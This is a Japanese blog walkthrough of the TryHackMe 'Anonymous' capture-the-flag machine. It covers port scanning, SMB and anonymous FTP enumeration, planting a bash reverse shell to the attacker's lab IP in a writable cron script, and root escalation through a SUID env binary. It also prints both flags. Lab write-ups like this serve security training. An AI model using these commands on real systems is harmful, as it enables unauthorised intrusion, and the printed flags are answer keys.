0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Anonymous:Walkthrough

Posted at

概要

TryHackMe「Anonymous」のWalkthroughです。

Task1

Q1.Enumerate the machine. How many ports are open?

ポートスキャンを実行します。

$ nmap -Pn -T4 -A -sC -sV -p- 10.10.53.42 -oN nmap_result
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.0.8 or later
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.6.55.144
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts [NSE: writeable]
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
|   256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
|_  256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 0s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: anonymous
|   NetBIOS computer name: ANONYMOUS\x00
|   Domain name: \x00
|   FQDN: anonymous
|_  System time: 2024-09-25T14:31:51+00:00
|_nbstat: NetBIOS name: ANONYMOUS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-09-25T14:31:51
|_  start_date: N/A

ポートの稼働状況が分かりました。

ポート サービス バージョン
21 ftp vsftpd 2.0.8 or later
22 ssh OpenSSH 7.6p1
139 smb smbd 3.X - 4.X
445 smb smbd 4.7.6-Ubuntu

A.4

Q2.What service is running on port 21?

A.ftp

Q3.What service is running on ports 139 and 445?

A.smb

Q4.There's a share on the user's computer. What's it called?

SMBの列挙をします。

$ enum4linux -a 10.10.53.42
==================================( Share Enumeration on 10.10.53.42 )==================================
                                                                                                                 
                                                                                                                 
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        pics            Disk      My SMB Share Directory for Pics
        IPC$            IPC       IPC Service (anonymous server (Samba, Ubuntu))

共有名がわかりました。

A.pics

Q5.user.txt

Hint.What's that log file doing there?... nc won't work the way you'd expect it to

FTPのAnonymousログインが有効なのでFTPにログインします。

$ ftp 10.10.53.42
Connected to 10.10.53.42.
220 NamelessOne's FTP Server!
Name (10.10.53.42:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

scriptsフォルダを発見しました。
配下のファイルをすべてダウンロードします。

ftp> dir
229 Entering Extended Passive Mode (|||61602|)
150 Here comes the directory listing.
drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts
226 Directory send OK.
ftp> dir scripts
229 Entering Extended Passive Mode (|||58970|)
150 Here comes the directory listing.
-rwxr-xrwx    1 1000     1000          314 Jun 04  2020 clean.sh
-rw-rw-r--    1 1000     1000         2408 Sep 25 14:46 removed_files.log
-rw-r--r--    1 1000     1000           68 May 12  2020 to_do.txt
226 Directory send OK.

SMBにログインします。

$ smbclient //10.10.53.42/pics                                                   
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> 

画像ファイルを二つ見つけたのでダウンロードします。

smb: \> dir
  .                                   D        0  Sun May 17 07:11:34 2020
  ..                                  D        0  Wed May 13 21:59:10 2020
  corgo2.jpg                          N    42663  Mon May 11 20:43:42 2020
  puppos.jpeg                         N   265188  Mon May 11 20:43:42 2020

                20508240 blocks of size 1024. 13306448 blocks available
smb: \> get corgo2.jpg
getting file \corgo2.jpg of size 42663 as corgo2.jpg (27.8 KiloBytes/sec) (average 27.8 KiloBytes/sec)
smb: \> get puppos.jpeg
getting file \puppos.jpeg of size 265188 as puppos.jpeg (86.8 KiloBytes/sec) (average 67.1 KiloBytes/sec)

/scripts/clean.shを見ると条件分岐で/var/ftp/scripts/removed_files.logに書き込みをしています。

clean.sh
#!/bin/bash

tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
        echo "Running cleanup script:  nothing to delete" >> /var/ftp/scripts/removed_files.log
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
fi

ダウンロードしたremoved_files.logを見ます。

removed_files.log
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
(省略)

ログファイルの内容から定期的にclean.shが実行されていると予測できます。

なので、clean.shファイルの内容にリバースシェルコマンドを追加すれば侵入できそうです。

下記サイトでBashのリバースシェルを作成します。

ダウンロードしたclean.shを編集します。

clean.sh
#!/bin/bash

bash -i >& /dev/tcp/10.6.55.144/1234 0>&1

FTPにログインし、ファイルを設置します。

ftp> put clean.sh
local: clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||45229|)
150 Ok to send data.
100% |********************************************************************|   357        5.40 MiB/s    00:00 ETA
226 Transfer complete.
357 bytes sent in 00:00 (0.72 KiB/s)

Netcatでリッスンしているとシェルを張れました。

$ nc -lvnp 1234                                            
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.57.52] 37002
bash: cannot set terminal process group (1126): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$

TTYを設定します。

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

/home/namelessone/user.txtからユーザーフラグを入手できました。

/home/namelessone/user.txt
90d6f992585815ff991e68748c414740

A.90d6f992585815ff991e68748c414740

Q6.root.txt

Hint.This may require you to do some outside research

SUIDプログラムを検索すると/usr/bin/envを発見しました。

$ find / -perm -u=s -type f 2>/dev/null
(省略)
/usr/bin/env

GTFOBinsで権限昇格のテクニックが見つかりました。

/usr/bin/envを利用して権限昇格に成功しました。

$ /usr/bin/env /bin/sh -p
/usr/bin/env /bin/sh -p
# whoami
whoami
root

/root/root.txtからルートフラグを入手できます。

/root/root.txt
4d930091c31a622a7ed10f27999af363

A.4d930091c31a622a7ed10f27999af363

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?